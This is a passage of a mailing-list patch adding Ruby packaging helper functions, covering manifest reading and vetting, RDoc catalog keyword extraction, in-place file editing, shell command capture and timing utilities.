+ next if File::directory?( file )
+
+ ofh.puts file
+ end
+ }
+ end
+
+
+ ### Read the specified <tt>manifestFile</tt>, which is a text file
+ ### describing which files to package up for a distribution. The manifest
+ ### should consist of one or more lines, each containing one filename or
+ ### shell glob pattern.
+ def readManifest( manifestFile="MANIFEST" )
+ message "Reading manifest..."
+ raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
+
+ manifest = IO::readlines( manifestFile ).collect {|line|
+ line.chomp
+ }.select {|line|
+ line !~ /^(\s*(#.*)?)?$/
+ }
+
+ filelist = []
+ for pat in manifest
+ $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
+ filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
+ end
+
+ message "found #{filelist.length} files.\n"
+ return filelist
+ end
+
+
+ ### Given a <tt>filelist</tt> like that returned by #readManifest, remove
+ ### the entries therein which match the Regexp objects in the given
+ ### <tt>antimanifest</tt> and return the resultant Array.
+ def vetManifest( filelist, antimanifest=ANITMANIFEST )
+ origLength = filelist.length
+ message "Vetting manifest..."
+
+ for regex in antimanifest
+ if $VERBOSE
+ message "\n\tPattern /#{regex.source}/ removed: " +
+ filelist.find_all {|file| regex.match(file)}.join(', ')
+ end
+ filelist.delete_if {|file| regex.match(file)}
+ end
+
+ message "removed #{origLength - filelist.length} files from the list.\n"
+ return filelist
+ end
+
+ ### Combine a call to #readManifest with one to #vetManifest.
+ def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
+ vetManifest( readManifest(manifestFile), antimanifest )
+ end
+
+ ### Given a documentation <tt>catalogFile</tt>, extract the title, if
+ ### available, and return it. Otherwise generate a title from the name of
+ ### the CVS module.
+ def findRdocTitle( catalogFile="docs/CATALOG" )
+
+ # Try extracting it from the CATALOG file from a line that looks like:
+ # Title: Foo Bar Module
+ title = findCatalogKeyword( 'title', catalogFile )
+
+ # If that doesn't work for some reason, try grabbing the name of the CVS
+ # repository the directory belongs to.
+ if title.nil? && File::directory?( "CVS" ) &&
+ File::exists?( "CVS/Repository" )
+ title = File::read( "CVS/Repository" ).chomp
+ end
+
+ # As a last resort, use the name of the project directory
+ if title.nil?
+ distdir = File::dirname( __FILE__ )
+ distdir = File::dirname( distdir ) if /docs$/ =~ distdir
+ title = File::basename( distdir )
+ end
+
+ return title
+ end
+
+ ### Given a documentation <tt>catalogFile</tt>, extract the name of the file
+ ### to use as the initally displayed page. If extraction fails, the
+ ### +default+ will be used if it exists. Returns +nil+ if there is no main
+ ### file to be found.
+ def findRdocMain( catalogFile="docs/CATALOG", default="README" )
+
+ # Try extracting it from the CATALOG file from a line that looks like:
+ # Main: Foo Bar Module
+ main = findCatalogKeyword( 'main', catalogFile )
+
+ # Try to make some educated guesses if that doesn't work
+ if main.nil?
+ basedir = File::dirname( __FILE__ )
+ basedir = File::dirname( basedir ) if /docs$/ =~ basedir
+
+ if File::exists?( File::join(basedir, default) )
+ main = default
+ end
+ end
+
+ return main
+ end
+
+
+ ### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
+ ### RDoc.
+ def findRdocUpload( catalogFile="docs/CATALOG" )
+ findCatalogKeyword( 'upload', catalogFile )
+ end
+
+
+ ### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
+ ### URL for RDoc.
+ def findRdocCvsURL( catalogFile="docs/CATALOG" )
+ findCatalogKeyword( 'webcvs', catalogFile )
+ end
+
+
+ ### Given a documentation <tt>catalogFile</tt>, try extracting the given
+ ### +keyword+'s value from it. Keywords are lines that look like:
+ ### # <keyword>: <value>
+ ### Returns +nil+ if the catalog file was unreadable or didn't contain the
+ ### specified +keyword+.
+ def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
+ val = nil
+
+ if File::exists? catalogFile
+ message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
+ File::foreach( catalogFile ) {|line|
+ debugMsg( "Examining line #{line.inspect}..." )
+ val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
+ }
+ end
+
+ return val
+ end
+
+
+ ### Given a documentation <tt>catalogFile</tt>, which is in the same format
+ ### as that described by #readManifest, read and expand it, and then return
+ ### a list of those files which appear to have RDoc documentation in
+ ### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
+ ### file is used instead.
+ def findRdocableFiles( catalogFile="docs/CATALOG" )
+ startlist = []
+ if File.exists? catalogFile
+ message "Using CATALOG file (%s).\n" % catalogFile
+ startlist = getVettedManifest( catalogFile )
+ else
+ message "Using default MANIFEST\n"
+ startlist = getVettedManifest()
+ end
+
+ message "Looking for RDoc comments in:\n" if $VERBOSE
+ startlist.select {|fn|
+ message " #{fn}: " if $VERBOSE
+ found = false
+ File::open( fn, "r" ) {|fh|
+ fh.each {|line|
+ if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
+ found = true
+ break
+ end
+ }
+ }
+
+ message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
+ found
+ }
+ end
+
+ ### Open a file and filter each of its lines through the given block a
+ ### <tt>line</tt> at a time. The return value of the block is used as the
+ ### new line, or omitted if the block returns <tt>nil</tt> or
+ ### <tt>false</tt>.
+ def editInPlace( file ) # :yields: line
+ raise "No block specified for editing operation" unless block_given?
+
+ tempName = "#{file}.#{$$}"
+ File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
+ File::unlink( tempName )
+ File::open( file, File::RDONLY ) {|fh|
+ fh.each {|line|
+ newline = yield( line ) or next
+ tempfile.print( newline )
+ }
+ }
+
+ tempfile.seek(0)
+
+ File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
+ newfile.print( tempfile.read )
+ }
+ }
+ end
+
+ ### Execute the specified shell <tt>command</tt>, read the results, and
+ ### return them. Like a %x{} that returns an Array instead of a String.
+ def shellCommand( *command )
+ raise "Empty command" if command.empty?
+
+ cmdpipe = IO::popen( command.join(' '), 'r' )
+ return cmdpipe.readlines
+ end
+
+ ### Execute a block with $VERBOSE set to +false+, restoring it to its
+ ### previous value before returning.
+ def verboseOff
+ raise LocalJumpError, "No block given" unless block_given?
+
+ thrcrit = Thread.critical
+ oldverbose = $VERBOSE
+ begin
+ Thread.critical = true
+ $VERBOSE = false
+ yield
+ ensure
+ $VERBOSE = oldverbose
+ Thread.critical = false
+ end
+ end
+
+
+ ### Try the specified code block, printing the given
+ def try( msg, bind=nil )
+ result = nil
+ if msg =~ /^to\s/
+ message = "Trying #{msg}..."
+ else
+ message = msg
+ end
+
+ begin
+ rval = nil
+ if block_given?
+ rval = yield
+ else
+ file, line = caller(1)[0].split(/:/,2)
+ rval = eval( msg, bind, file, line.to_i )
+ end
+
+ result = rval.inspect
+ rescue Exception => err
+ if err.backtrace
+ nicetrace = err.backtrace.delete_if {|frame|
+ /in `(try|eval)'/ =~ frame
+ }.join("\n\t")
+ else
+ nicetrace = "Exception had no backtrace"
+ end
+
+ result = err.message + "\n\t" + nicetrace
+ ensure
+ puts result
+ end
+ end
+
+ def time
+ start = Time::now
+ stimes = Process::times
+ rval = yield
+ etimes = Process::times
+ $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
+ etimes.utime - stimes.utime,
+ etimes.stime - stimes.stime,
+ Time::now.to_f - start.to_f,
+ ]
+
+ return rval
+ end
+
+end
More information about the pkg-ruby-extras-maintainers
mailing list